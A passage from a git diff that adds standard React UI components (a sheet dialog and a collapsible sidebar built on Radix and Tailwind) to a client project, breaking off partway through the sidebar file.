orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
)
|
||||
Separator.displayName = SeparatorPrimitive.Root.displayName
|
||||
|
||||
export { Separator }
|
||||
138
full/Angel-client/src/components/ui/sheet.tsx
Normal file
@@ -0,0 +1,138 @@
|
||||
import * as React from "react"
|
||||
import * as SheetPrimitive from "@radix-ui/react-dialog"
|
||||
import { Cross2Icon } from "@radix-ui/react-icons"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Sheet = SheetPrimitive.Root
|
||||
|
||||
const SheetTrigger = SheetPrimitive.Trigger
|
||||
|
||||
const SheetClose = SheetPrimitive.Close
|
||||
|
||||
const SheetPortal = SheetPrimitive.Portal
|
||||
|
||||
const SheetOverlay = React.forwardRef<
|
||||
React.ElementRef<typeof SheetPrimitive.Overlay>,
|
||||
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Overlay>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<SheetPrimitive.Overlay
|
||||
className={cn(
|
||||
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
ref={ref}
|
||||
/>
|
||||
))
|
||||
SheetOverlay.displayName = SheetPrimitive.Overlay.displayName
|
||||
|
||||
const sheetVariants = cva(
|
||||
"fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=closed]:duration-300 data-[state=open]:duration-500 data-[state=open]:animate-in data-[state=closed]:animate-out",
|
||||
{
|
||||
variants: {
|
||||
side: {
|
||||
top: "inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top",
|
||||
bottom:
|
||||
"inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom",
|
||||
left: "inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm",
|
||||
right:
|
||||
"inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
side: "right",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
interface SheetContentProps
|
||||
extends React.ComponentPropsWithoutRef<typeof SheetPrimitive.Content>,
|
||||
VariantProps<typeof sheetVariants> {}
|
||||
|
||||
const SheetContent = React.forwardRef<
|
||||
React.ElementRef<typeof SheetPrimitive.Content>,
|
||||
SheetContentProps
|
||||
>(({ side = "right", className, children, ...props }, ref) => (
|
||||
<SheetPortal>
|
||||
<SheetOverlay />
|
||||
<SheetPrimitive.Content
|
||||
ref={ref}
|
||||
className={cn(sheetVariants({ side }), className)}
|
||||
{...props}
|
||||
>
|
||||
<SheetPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary">
|
||||
<Cross2Icon className="h-4 w-4" />
|
||||
<span className="sr-only">Close</span>
|
||||
</SheetPrimitive.Close>
|
||||
{children}
|
||||
</SheetPrimitive.Content>
|
||||
</SheetPortal>
|
||||
))
|
||||
SheetContent.displayName = SheetPrimitive.Content.displayName
|
||||
|
||||
const SheetHeader = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLDivElement>) => (
|
||||
<div
|
||||
className={cn(
|
||||
"flex flex-col space-y-2 text-center sm:text-left",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
SheetHeader.displayName = "SheetHeader"
|
||||
|
||||
const SheetFooter = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLDivElement>) => (
|
||||
<div
|
||||
className={cn(
|
||||
"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
SheetFooter.displayName = "SheetFooter"
|
||||
|
||||
const SheetTitle = React.forwardRef<
|
||||
React.ElementRef<typeof SheetPrimitive.Title>,
|
||||
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Title>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<SheetPrimitive.Title
|
||||
ref={ref}
|
||||
className={cn("text-lg font-semibold text-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SheetTitle.displayName = SheetPrimitive.Title.displayName
|
||||
|
||||
const SheetDescription = React.forwardRef<
|
||||
React.ElementRef<typeof SheetPrimitive.Description>,
|
||||
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Description>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<SheetPrimitive.Description
|
||||
ref={ref}
|
||||
className={cn("text-sm text-muted-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SheetDescription.displayName = SheetPrimitive.Description.displayName
|
||||
|
||||
export {
|
||||
Sheet,
|
||||
SheetPortal,
|
||||
SheetOverlay,
|
||||
SheetTrigger,
|
||||
SheetClose,
|
||||
SheetContent,
|
||||
SheetHeader,
|
||||
SheetFooter,
|
||||
SheetTitle,
|
||||
SheetDescription,
|
||||
}
|
||||
762
full/Angel-client/src/components/ui/sidebar.tsx
Normal file
@@ -0,0 +1,762 @@
|
||||
import * as React from "react"
|
||||
import { Slot } from "@radix-ui/react-slot"
|
||||
import { VariantProps, cva } from "class-variance-authority"
|
||||
import { PanelLeft } from "lucide-react"
|
||||
|
||||
import { useIsMobile } from "@/hooks/use-mobile"
|
||||
import { cn } from "@/lib/utils"
|
||||
import { Button } from "@/components/ui/button"
|
||||
import { Input } from "@/components/ui/input"
|
||||
import { Separator } from "@/components/ui/separator"
|
||||
import { Sheet, SheetContent } from "@/components/ui/sheet"
|
||||
import { Skeleton } from "@/components/ui/skeleton"
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipProvider,
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip"
|
||||
|
||||
const SIDEBAR_COOKIE_NAME = "sidebar:state"
|
||||
const SIDEBAR_COOKIE_MAX_AGE = 60 * 60 * 24 * 7
|
||||
const SIDEBAR_WIDTH = "16rem"
|
||||
const SIDEBAR_WIDTH_MOBILE = "18rem"
|
||||
const SIDEBAR_WIDTH_ICON = "3rem"
|
||||
const SIDEBAR_KEYBOARD_SHORTCUT = "b"
|
||||
|
||||
type SidebarContext = {
|
||||
state: "expanded" | "collapsed"
|
||||
open: boolean
|
||||
setOpen: (open: boolean) => void
|
||||
openMobile: boolean
|
||||
setOpenMobile: (open: boolean) => void
|
||||
isMobile: boolean
|
||||
toggleSidebar: () => void
|
||||
}
|
||||
|
||||
const SidebarContext = React.createContext<SidebarContext | null>(null)
|
||||
|
||||
function useSidebar() {
|
||||
const context = React.useContext(SidebarContext)
|
||||
if (!context) {
|
||||
throw new Error("useSidebar must be used within a Sidebar.")
|
||||
}
|
||||
|
||||
return context
|
||||
}
|
||||
|
||||
const SidebarProvider = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div"> & {
|
||||
defaultOpen?: boolean
|
||||
open?: boolean
|
||||
onOpenChange?: (open: boolean) => void
|
||||
}
|
||||
>(
|
||||
(
|
||||
{
|
||||
defaultOpen = true,
|
||||
open: openProp,
|
||||
onOpenChange: setOpenProp,
|
||||
className,
|
||||
style,
|
||||
children,
|
||||
...props
|
||||
},
|
||||
ref
|
||||
) => {
|
||||
const isMobile = useIsMobile()
|
||||
const [openMobile, setOpenMobile] = React.useState(false)
|
||||
|
||||
// This is the internal state of the sidebar.
|
||||
// We use openProp and setOpenProp for control from outside the component.
|
||||
const [_open, _setOpen] = React.useState(defaultOpen)
|
||||
const open = openProp ?? _open
|
||||
const setOpen = React.useCallback(
|
||||
(value: boolean | ((value: boolean) => boolean)) => {
|
||||
if (setOpenProp) {
|
||||
return setOpenProp?.(
|
||||
typeof value === "function" ? value(open) : value
|
||||
)
|
||||
}
|
||||
|
||||
_setOpen(value)
|
||||
|
||||
// This sets the cookie to keep the sidebar state.
|
||||
document.cookie = `${SIDEBAR_COOKIE_NAME}=${open}; path=/; max-age=${SIDEBAR_COOKIE_MAX_AGE}`
|
||||
},
|
||||
[setOpenProp, open]
|
||||
)
|
||||
|
||||
// Helper to toggle the sidebar.
|
||||
const toggleSidebar = React.useCallback(() => {
|
||||
return isMobile
|
||||
? setOpenMobile((open) => !open)
|
||||
: setOpen((open) => !open)
|
||||
}, [isMobile, setOpen, setOpenMobile])
|
||||
|
||||
// Adds a keyboard shortcut to toggle the sidebar.
|
||||
React.useEffect(() => {
|
||||
const handleKeyDown = (event: KeyboardEvent) => {
|
||||
if (
|
||||
event.key === SIDEBAR_KEYBOARD_SHORTCUT &&
|
||||
(event.metaKey || event.ctrlKey)
|
||||
) {
|
||||
event.preventDefault()
|
||||
toggleSidebar()
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener("keydown", handleKeyDown)
|
||||
return () => window.removeEventListener("keydown", handleKeyDown)
|
||||
}, [toggleSidebar])
|
||||
|
||||
// We add a state so that we can do data-state="expanded" or "collapsed".
|
||||
// This makes it easier to style the sidebar with Tailwind classes.
|
||||
const state = open ? "expanded" : "collapsed"
|
||||
|
||||
const contextValue = React.useMemo<SidebarContext>(
|
||||
() => ({
|
||||
state,
|
||||
open,
|
||||
setOpen,
|
||||
isMobile,
|
||||
openMobile,
|
||||
setOpenMobile,
|
||||
toggleSidebar,
|
||||
}),
|
||||
[state, open, setOpen, isMobile, openMobile, setOpenMobile, toggleSidebar]
|
||||
)
|
||||
|
||||
return (
|
||||
<SidebarContext.Provider value={contextValue}>
|
||||
<TooltipProvider delayDuration={0}>
|
||||
<div
|
||||
style={
|
||||
{
|
||||
"--sidebar-width": SIDEBAR_WIDTH,
|
||||
"--sidebar-width-icon": SIDEBAR_WIDTH_ICON,
|
||||
...style,
|
||||
} as React.CSSProperties
|
||||
}
|
||||
className={cn(
|
||||
"group/sidebar-wrapper flex min-h-svh w-full text-sidebar-foreground has-[[data-variant=inset]]:bg-sidebar",
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</TooltipProvider>
|
||||
</SidebarContext.Provider>
|
||||
)
|
||||
}
|
||||
)
|
||||
SidebarProvider.displayName = "SidebarProvider"
|
||||
|
||||
const Sidebar = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div"> & {
|
||||
side?: "left" | "right"
|
||||
variant?: "sidebar" | "floating" | "inset"
|
||||
collapsible?: "offcanvas" | "icon" | "none"
|
||||
}
|
||||
>(
|
||||
(
|
||||
{
|
||||
side = "left",
|
||||
variant = "sidebar",
|
||||
collapsible = "offcanvas",
|
||||
className,
|
||||
children,
|
||||
...props
|
||||
},
|
||||
ref
|
||||
) => {
|
||||
const { isMobile, state, openMobile, setOpenMobile } = useSidebar()
|
||||
|
||||
if (collapsible === "none") {
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"flex h-full w-[--sidebar-width] flex-col bg-sidebar text-sidebar-foreground",
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (isMobile) {
|
||||
return (
|
||||
<Sheet open={openMobile} onOpenChange={setOpenMobile} {...props}>
|
||||
<SheetContent
|
||||
data-sidebar="sidebar"
|
||||
data-mobile="true"
|
||||
className="w-[--sidebar-width] bg-sidebar p-0 text-sidebar-foreground [&>button]:hidden"
|
||||
style={
|
||||
{
|
||||
"--sidebar-width": SIDEBAR_WIDTH_MOBILE,
|
||||
} as React.CSSProperties
|
||||
}
|
||||
side={side}
|
||||
>
|
||||
<div className="flex h-full w-full flex-col">{children}</div>
|
||||
</SheetContent>
|
||||
</Sheet>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className="group peer hidden md:block"
|
||||
data-state={state}
|
||||
data-collapsible={state === "collapsed" ? collapsible : ""}
|
||||
data-variant={variant}
|
||||
data-side={side}
|
||||
>
|
||||
{/* This is what handles the sidebar gap on desktop */}
|
||||
<div
|
||||
className={cn(
|
||||
"duration-200 relative h-svh w-[--sidebar-width] bg-transparent transition-[width] ease-linear",
|
||||
"group-data-[collapsible=offcanvas]:w-0",
|
||||
"group-data-[side=right]:rotate-180",
|
||||
variant === "floating" || variant === "inset"
|
||||
? "group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)_+_theme(spacing.4))]"
|
||||
: "group-data-[collapsible=icon]:w-[--sidebar-width-icon]"
|
||||
)}
|
||||
/>
|
||||
<div
|
||||
className={cn(
|
||||
"duration-200 fixed inset-y-0 z-10 hidden h-svh w-[--sidebar-width] transition-[left,right,width] ease-linear md:flex",
|
||||
side === "left"
|
||||
? "left-0 group-data-[collapsible=offcanvas]:left-[calc(var(--sidebar-width)*-1)]"
|
||||
: "right-0 group-data-[collapsible=offcanvas]:right-[calc(var(--sidebar-width)*-1)]",
|
||||
// Adjust the padding for floating and inset variants.
|
||||
variant === "floating" || variant === "inset"
|
||||
? "p-2 group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)_+_theme(spacing.4)_+2px)]"
|
||||
: "group-data-[collapsible=icon]:w-[--sidebar-width-icon] group-data-[side=left]:border-r group-data-[side=right]:border-l",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
<div
|
||||
data-sidebar="sidebar"
|
||||
className="flex h-full w-full flex-col bg-sidebar group-data-[variant=floating]:rounded-lg group-data-[variant=floating]:border group-data-[variant=floating]:border-sidebar-border group-data-[variant=floating]:shadow"
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
)
|
||||
Sidebar.displayName = "Sidebar"
|
||||
|
||||
const SidebarTrigger = React.forwardRef<
|
||||
React.ElementRef<typeof Button>,
|
||||
React.ComponentProps<typeof Button>
|
||||
>(({ className, onClick, ...props }, ref) => {
|
||||
const { toggleSidebar } = useSidebar()
|
||||
|
||||
return (
|
||||
<Button
|
||||
ref={ref}
|
||||
data-sidebar="trigger"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className={cn("h-7 w-7", className)}
|
||||
onClick={(event) => {
|
||||
onClick?.(event)
|
||||
toggleSidebar()
|
||||
}}
|
||||
{...props}
|
||||
>
|
||||
<PanelLeft />
|
||||
<span className="sr-only">Toggle Sidebar</span>
|
||||
</Button>
|
||||
)
|
||||
})
|
||||
SidebarTrigger.displayName = "SidebarTrigger"
|
||||
|
||||
const SidebarRail = React.forwardRef<
|
||||
HTMLButtonElement,
|
||||
React.ComponentProps<"button">
|
||||
>(({ className, ...props }, ref) => {
|
||||
const { toggleSidebar } = useSidebar()
|
||||
|
||||
return (
|
||||
<button
|
||||
ref={ref}
|
||||
data-sidebar="rail"
|
||||
aria-label="Toggle Sidebar"
|
||||
tabIndex={-1}
|
||||
onClick={toggleSidebar}
|
||||
title="Toggle Sidebar"
|
||||
className={cn(
|
||||
"absolute inset-y-0 z-20 hidden w-4 -translate-x-1/2 transition-all ease-linear after:absolute after:inset-y-0 after:left-1/2 after:w-[2px] hover:after:bg-sidebar-border group-data-[side=left]:-right-4 group-data-[side=right]:left-0 sm:flex",
|
||||
"[[data-side=left]_&]:cursor-w-resize [[data-side=right]_&]:cursor-e-resize",
|
||||
"[[data-side=left][data-state=collapsed]_&]:cursor-e-resize [[data-side=right][data-state=collapsed]_&]:cursor-w-resize",
|
||||
"group-data-[collapsible=offcanvas]:translate-x-0 group-data-[collapsible=offcanvas]:after:left-full group-data-[collapsible=offcanvas]:hover:bg-sidebar",
|
||||
"[[data-side=left][data-collapsible=offcanvas]_&]:-right-2",
|
||||
"[[data-side=right][data-collapsible=offcanvas]_&]:-left-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarRail.displayName = "SidebarRail"
|
||||
|
||||
const SidebarInset = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"main">
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<main
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex min-h-svh flex-1 flex-col bg-background",
|
||||
"peer-data-[variant=inset]:min-h-[calc(100svh-theme(spacing.4))] md:peer-data-[variant=inset]:m-2 md:peer-data-[state=collapsed]:peer-data-[variant=inset]:ml-2 md:peer-data-[variant=inset]:ml-0 md:peer-data-[variant=inset]:rounded-xl md:peer-data-[variant=inset]:shadow",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarInset.displayName = "SidebarInset"
|
||||
|
||||
const SidebarInput = React.forwardRef<
|
||||
React.ElementRef<typeof Input>,
|
||||
React.ComponentProps<typeof Input>
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<Input
|
||||
ref={ref}
|
||||
data-sidebar="input"
|
||||
className={cn(
|
||||
"h-8 w-full bg-background shadow-none focus-visible:ring-2 focus-visible:ring-sidebar-ring",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarInput.displayName = "SidebarInput"
|
||||
|
||||
const SidebarHeader = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="header"
|
||||
className={cn("flex flex-col gap-2 p-2", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarHeader.displayName = "SidebarHeader"
|
||||
|
||||
const SidebarFooter = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="footer"
|
||||
className={cn("flex flex-col gap-2 p-2", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarFooter.displayName = "SidebarFooter"
|
||||
|
||||
const SidebarSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof Separator>,
|
||||
React.ComponentProps<typeof Separator>
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<Separator
|
||||
ref={ref}
|
||||
data-sidebar="separator"
|
||||
className={cn("mx-2 w-auto bg-sidebar-border", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarSeparator.displayName = "SidebarSeparator"
|
||||
|
||||
const SidebarContent = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="content"
|
||||
className={cn(
|
||||
"flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarContent.displayName = "SidebarContent"
|
||||
|
||||
const SidebarGroup = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => {
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="group"
|
||||
className={cn("relative flex w-full min-w-0 flex-col p-2", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarGroup.displayName = "SidebarGroup"
|
||||
|
||||
const SidebarGroupLabel = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div"> & { asChild?: boolean }
|
||||
>(({ className, asChild = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "div"
|
||||
|
||||
return (
|
||||
<Comp
|
||||
ref={ref}
|
||||
data-sidebar="group-label"
|
||||
className={cn(
|
||||
"duration-200 flex h-8 shrink-0 items-center rounded-md px-2 text-xs font-medium text-sidebar-foreground/70 outline-none ring-sidebar-ring transition-[margin,opa] ease-linear focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0",
|
||||
"group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarGroupLabel.displayName = "SidebarGroupLabel"
|
||||
|
||||
const SidebarGroupAction = React.forwardRef<
|
||||
HTMLButtonElement,
|
||||
React.ComponentProps<"button"> & { asChild?: boolean }
|
||||
>(({ className, asChild = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "button"
|
||||
|
||||
return (
|
||||
<Comp
|
||||
ref={ref}
|
||||
data-sidebar="group-action"
|
||||
className={cn(
|
||||
"absolute right-3 top-3.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground outline-none ring-sidebar-ring transition-transform hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0",
|
||||
// Increases the hit area of the button on mobile.
|
||||
"after:absolute after:-inset-2 after:md:hidden",
|
||||
"group-data-[collapsible=icon]:hidden",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarGroupAction.displayName = "SidebarGroupAction"
|
||||
|
||||
const SidebarGroupContent = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="group-content"
|
||||
className={cn("w-full text-sm", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SidebarGroupContent.displayName = "SidebarGroupContent"
|
||||
|
||||
const SidebarMenu = React.forwardRef<
|
||||
HTMLUListElement,
|
||||
React.ComponentProps<"ul">
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ul
|
||||
ref={ref}
|
||||
data-sidebar="menu"
|
||||
className={cn("flex w-full min-w-0 flex-col gap-1", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SidebarMenu.displayName = "SidebarMenu"
|
||||
|
||||
const SidebarMenuItem = React.forwardRef<
|
||||
HTMLLIElement,
|
||||
React.ComponentProps<"li">
|
||||
>(({ className, ...props }, ref) => (
|
||||
<li
|
||||
ref={ref}
|
||||
data-sidebar="menu-item"
|
||||
className={cn("group/menu-item relative", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SidebarMenuItem.displayName = "SidebarMenuItem"
|
||||
|
||||
const sidebarMenuButtonVariants = cva(
|
||||
"peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm outline-none ring-sidebar-ring transition-[width,height,padding] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-[[data-sidebar=menu-action]]/menu-item:pr-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:!size-8 group-data-[collapsible=icon]:!p-2 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default: "hover:bg-sidebar-accent hover:text-sidebar-accent-foreground",
|
||||
outline:
|
||||
"bg-background shadow-[0_0_0_1px_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_hsl(var(--sidebar-accent))]",
|
||||
},
|
||||
size: {
|
||||
default: "h-8 text-sm",
|
||||
sm: "h-7 text-xs",
|
||||
lg: "h-12 text-sm group-data-[collapsible=icon]:!p-0",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
size: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
const SidebarMenuButton = React.forwardRef<
|
||||
HTMLButtonElement,
|
||||
React.ComponentProps<"button"> & {
|
||||
asChild?: boolean
|
||||
isActive?: boolean
|
||||
tooltip?: string | React.ComponentProps<typeof TooltipContent>
|
||||
} & VariantProps<typeof sidebarMenuButtonVariants>
|
||||
>(
|
||||
(
|
||||
{
|
||||
asChild = false,
|
||||
isActive = false,
|
||||
variant = "default",
|
||||
size = "default",
|
||||
tooltip,
|
||||
className,
|
||||
...props
|
||||
},
|
||||
ref
|
||||
) => {
|
||||
const Comp = asChild ? Slot : "button"
|
||||
const { isMobile, state } = useSidebar()
|
||||
|
||||
const button = (
|
||||
<Comp
|
||||
ref={ref}
|
||||
data-sidebar="menu-button"
|
||||
data-size={size}
|
||||
data-active={isActive}
|
||||
className={cn(sidebarMenuButtonVariants({ variant, size }), className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
|
||||
if (!tooltip) {
|
||||
return button
|
||||
}
|
||||
|
||||
if (typeof tooltip === "string") {
|
||||
tooltip = {
|
||||
children: tooltip,
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>{button}</TooltipTrigger>
|
||||
<TooltipContent
|
||||
side="right"
|
||||
align="center"
|
||||
hidden={state !== "collapsed" || isMobile}
|
||||
{...tooltip}
|
||||
/>
|
||||
</Tooltip>
|
||||
)
|
||||
}
|
||||
)
|
||||
SidebarMenuButton.displayName = "SidebarMenuButton"
|
||||
|
||||
const SidebarMenuAction = React.forwardRef<
|
||||
HTMLButtonElement,
|
||||
React.ComponentProps<"button"> & {
|
||||
asChild?: boolean
|
||||
showOnHover?: boolean
|
||||
}
|
||||
>(({ className, asChild = false, showOnHover = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "button"
|
||||
|
||||
return (
|
||||
<Comp
|
||||
ref={ref}
|
||||
data-sidebar="menu-action"
|
||||
className={cn(
|
||||
"absolute right-1 top-1.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground outline-none ring-sidebar-ring transition-transform hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 peer-hover/menu-button:text-sidebar-accent-foreground [&>svg]:size-4 [&>svg]:shrink-0",
|
||||
// Increases the hit area of the button on mobile.
|
||||
"after:absolute after:-inset-2 after:md:hidden",
|
||||
"peer-data-[size=sm]/menu-button:top-1",
|
||||
"peer-data-[size=default]/menu-button:top-1.5",
|
||||
"peer-data-[size=lg]/menu-button:top-2.5",
|
||||
"group-data-[collapsible=icon]:hidden",
|
||||
showOnHover &&
|
||||
"group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 data-[state=open]:opacity-100 peer-data-[active=true]/menu-button:text-sidebar-accent-foreground md:opacity-0",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarMenuAction.displayName = "SidebarMenuAction"
|
||||
|
||||
const SidebarMenuBadge = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div">
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="menu-badge"
|
||||
className={cn(
|
||||
"absolute right-1 flex h-5 min-w-5 items-center justify-center rounded-md px-1 text-xs font-medium tabular-nums text-sidebar-foreground select-none pointer-events-none",
|
||||
"peer-hover/menu-button:text-sidebar-accent-foreground peer-data-[active=true]/menu-button:text-sidebar-accent-foreground",
|
||||
"peer-data-[size=sm]/menu-button:top-1",
|
||||
"peer-data-[size=default]/menu-button:top-1.5",
|
||||
"peer-data-[size=lg]/menu-button:top-2.5",
|
||||
"group-data-[collapsible=icon]:hidden",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SidebarMenuBadge.displayName = "SidebarMenuBadge"
|
||||
|
||||
const SidebarMenuSkeleton = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.ComponentProps<"div"> & {
|
||||
showIcon?: boolean
|
||||
}
|
||||
>(({ className, showIcon = false, ...props }, ref) => {
|
||||
// Random width between 50 to 90%.
|
||||
const width = React.useMemo(() => {
|
||||
return `${Math.floor(Math.random() * 40) + 50}%`
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
data-sidebar="menu-skeleton"
|
||||
className={cn("rounded-md h-8 flex gap-2 px-2 items-center", className)}
|
||||
{...props}
|
||||
>
|
||||
{showIcon && (
|
||||
<Skeleton
|
||||
className="size-4 rounded-md"
|
||||
data-sidebar="menu-skeleton-icon"
|
||||
/>
|
||||
)}
|
||||
<Skeleton
|
||||
className="h-4 flex-1 max-w-[--skeleton-width]"
|
||||
data-sidebar="menu-skeleton-text"
|
||||
style={
|
||||
{
|
||||
"--skeleton-width": width,
|
||||
} as React.CSSProperties
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
SidebarMenuSkeleton.displayName = "SidebarMenuSkeleton"
|
||||
|
||||
const SidebarMenuSub = React.forwardRef<
|
||||
HTMLUListElement,
|
||||
React.ComponentProps<"ul">
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ul
|
||||
ref={ref}
|
